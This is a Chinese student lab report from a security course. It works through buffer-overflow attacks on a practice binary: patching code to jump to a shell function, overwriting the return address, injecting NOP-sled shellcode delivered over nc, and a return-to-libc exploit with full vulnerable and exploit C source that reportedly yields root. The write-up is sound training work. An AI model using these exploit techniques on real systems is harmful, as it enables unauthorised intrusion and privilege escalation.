20202411 2022-2023-2 《网络与系统攻防技术》实验一实验报告
这是一个目录
1.实验内容
对于课程提供的pwn1二进制文件,反汇编后进行不同方式的BOF攻击,通过熟悉汇编语言直接进行指令跳转到getShell,也可以通过观察getShell和foo两个函数的地址,通过在输入中注入过量数据来覆盖地址,进行跳转达到BOF。也可以通过Shellcode注入的方式进行BOF攻击。
2.实验过程
2.0-来一台阿里云服务器
这年头找一个32位的Ubuntu16.04也是麻烦,而且自己搭建环境还要好久,原来想用Docker去pull一个环境的,后来发现不如云服务器来的方便,所以就直接在阿里云上租了台服务器,不仅不需要自己搭环境而且镜像源又快。具体配置如图,32位Ubuntu16.04,2c4t Intel Xeon,i686架构。少买一瓶农夫山泉就能免去前期的烦心事。
2.1-熟悉Linux,BOF和指令系统
管道|
为不同命令之间的协同提供了一种方式,管道|左边的命令作为输出的结果,管道|右边的命令作为处理对象的输入。
覆盖输入>
命令可以将要输入的重定向输入到输入命令后面的文件中,并且将文件中原有的文件内容覆盖。也就是说不管你原文件中写了什么,覆盖输入之后只有你新写的内容了。
追加输入>>
命令可以将要输入的内容重定向到输入命令后面的文件中,但是与覆盖输入不同的是,原本的文件中的内容并不会被覆盖,新输入的内容是追加在文件最后面的。
汇编语言是一些简单的助记符,将机器指令做一个人能读得懂的映射,比如
mov eax, ebx
是ebx中的数据移动到eax中,add byte ptr [af996h], 4
是将4这个数值加到byte类型中地址为af996的中。还要主要一下AT&T和Intel两种格式的,可以参考b站王道计算机组成的讲解,或者Intel的官方文件。
2.2-直接修改程序机器指令,改变程序执行流程
对于下载获取pwn1二进制文件,通过objdump -d
进行反汇编,生成十六进制的文件,我们可以在文件中看到不同函数的的机器码和对应的汇编语言,我们可以推测出其中包括的头文件和自定义的函数。
我们可以查到getShell函数对应的地址和foo函数对应的地址,在x86中采用小端存储模式,并用补码表示。所以我们用c3去替换d7,保存后退出。修改之后我们可以看到汇编指令中的地址变成了getShell的地址。
然后运行。可以看到可以成功进入函数中的shell。
2.3-通过构造输入参数,造成BOF攻击,改变程序执行流
由于我们事先关闭了堆栈保护,在调用函数时会先将返回地址等数据压入栈中,在输入进行过量的数据就可以覆盖地址。所以我们通过perl输入"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"
进行缓冲区溢出,在最后用0804847d进行覆盖,这样我们就可以在返回地址的时候跳转到getshell函数。就可以成功完成BOF攻击。
2.4-注入Shellcode并执行
因为Ubuntu系统默认是关闭堆栈可执行并开启了地址随机化,这对缓冲区注入并不有帮助,所以我们事先将这两项关闭。根据教程所说,nop既是为了作为填充,也是为了作为滑行区,保证在占用缓冲区时只要运行到任意一个nop上就可以继续执行直到我们设置的地址这。在这里就跟着刘老师的坑然后跳进去,在Shellcode中最后不能是x0a
,否则在另一个终端输入enter时就不能继续,这个答案也很简单,x0a
用十进制来表示就是10,ASCII中10就是\n换行符。
接着在gdb里进行调试运行,通过查看寄存器的值来,并查看相应地址的内容来判断我们的代码在哪里。
然后就跟着跳坑里了。重新改用anything+retaddr+nops+shellcode的模式进行注入。
可以看到在输出了我们设定的32个A后成功调用了getShell函数。然后结合nc来模拟远程攻击。现在靶机上输入nc -1 0.0.0.0 -p 3389 ./pwn4
,监听所有主机发送的信号,监听端口为3389,因为反正用的是Linux不是Windows,3389端口在安全组中一定是打开的,所以就用它了。接着在攻击机中将Shellcode通过nc发送给靶机,就成功实现BOF。
2.5-打破栈不可执行的Return-to-libc攻击实验
既然教程最后问了这几个问题,那就挑一个去试试。首先还是关闭随机内存并将zsh链接到sh上。通过gcc -z noexecstack -o test test.c
设置栈可执行。找一份有BOF漏洞的retlib.c文件,
引用自LeftCoast.《Return-to-libc攻击实验》
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
并在用GCC编译的时候关闭栈保护。通过从badfile中读取40字节的内容放到12字节对缓冲区中进行BOF攻击,用户利用这个漏洞就有可能获取到root权限。然后创建读取环境变量的getenvaddr.c文件并进行编译。
/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if (argc < 3)
{
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
最后编写攻击程序exploit.c。其中包括三个地址,并别用来保存BIN_SH、system、exit 的地址。用getenaddr获取BIN_SH的地址,然后用gdb调试获取system和exit的地址。
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
将获取到的地址放到exploit.c文件的对应地方。重新编译运行。问问系统whoami
。获得root权限。
最后的最后其实有个堆缓冲区溢出致本地提权漏洞(CVE-2021-3156)也想试试,但是阿里云上的镜像已经修复了,那这次试验就这样吧。
3.问题及解决方案
-
问题1:
perl: warning: Falling back to a fallback locale ("en_US.UTF-8")
-
问题1解决方案:对于Perl这语言并不熟悉,看起来应该是没有配置环境变量导致的,如下图进行修改后可以修复。
-
问题2:下午做实验还行晚上再做就不行了
-
问题2解决方案:后来在做后续实验时重制内存随机化,发现每次连接云服务器时内存随机默认都是2,应该并不是以通过修改系统文件的方式改变内存随机化,而只是在对应进程中临时更改了一次,就像不同终端进行管理员权限操作,都需要输入sudo和密码。
-
问题3:对于汇编与架构不熟悉
-
问题3解决方案:去下载了Intel软件开发手册,上面详细的记载了寄存器和指令等相关信息。不过5000多页,牙膏厂估计自己也不想看。
4.学习感悟、思考等
这次的实验至少在跟着教程的情况下还是比较好做的,不过其中的缓冲区中要放多少的输入,放哪些数据这些问题确实还是要好好思考的,因为像要去算地址,每16位16位的去查看,然后跳转,用多少的垃圾数据能够将缓冲区占满,然后还要将我们要进行跳转的地址放到正好要跳转的地方去,也不是一下子能想明白的。而且像在开启了内存随机化,栈不可执行,64位架构的情况下,这些漏洞的攻击方式又要重新思考了。
参考资料
- 逆向及Bof基础实践说明
- 管道与重定向
- Intel® 64 and IA-32 Architectures Software Developer’s Manual
- SEED-缓冲区溢出攻击
- 基于Ubuntu16.04的缓冲区溢出实验进阶版:Return-to-libc实验
- Return-to-libc攻击实验
- CVE-2021-3156:Sudo 堆缓冲区溢出漏洞 POC
写了篇博客竟然还被评为CSDN每天最佳新人,何德何能,承蒙厚爱,何其有幸。